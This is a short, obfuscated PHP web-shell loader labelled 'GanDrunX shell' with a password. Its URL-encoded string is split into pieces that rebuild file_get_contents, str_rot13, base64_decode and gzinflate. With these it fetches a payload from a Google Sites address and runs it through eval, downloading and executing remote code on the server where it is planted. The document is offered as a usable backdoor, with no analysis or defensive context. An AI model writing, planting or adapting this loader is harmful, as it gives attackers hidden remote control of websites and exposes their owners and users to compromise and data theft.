GanDrunX shell pass:Gx173

<?php $gx = array("173" => urldecode("%62%20%36%20%34%20%64%20%63%20%65%20%33%20%74%20%31%20%61%20%6F%20%6C%20%72%20%5F%20%66%20%6E%20%73%20%7A%20%67%20%69%20%68%20%76%20%68%74%74%70%73%3A%2F%2F%73%69%74%65%73%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%2F%73%69%74%65%2F%68%69%64%64%65%6E%79%6D%6F%75%7A%2F%62%62%68%2D%73%68%65%6C%6C%2F%47%78%31%37%33%2E%63%3F%61%74%74%72%65%64%69%72%65%63%74%73%3D%30%26%64%3D%31"),);$mr = explode(" ", $gx{173});$inject = array("0" => $mr{5}.$mr{21}.$mr{9}.$mr{11},"1" => $mr{18}.$mr{17}.$mr{19}.$mr{15}.$mr{14}.$mr{11}.$mr{9}.$mr{7}.$mr{5},"2" => $mr{16}.$mr{7}.$mr{12}.$mr{13}.$mr{12}.$mr{10}.$mr{7}.$mr{8}.$mr{6},"3" => $mr{0}.$mr{9}.$mr{16}.$mr{5}.$mr{1}.$mr{2}.$mr{13}.$mr{3}.$mr{5}.$mr{4}.$mr{10}.$mr{3}.$mr{5},"4" => $mr{22},"5" => $mr{14}.$mr{19}.$mr{11}.$mr{5}.$mr{13}.$mr{18}.$mr{5}.$mr{7}.$mr{13}.$mr{4}.$mr{10}.$mr{15}.$mr{7}.$mr{5}.$mr{15}.$mr{7}.$mr{16},);eval($inject{1}($inject{3}($inject{2}($inject{5}($inject{4}))))); ?>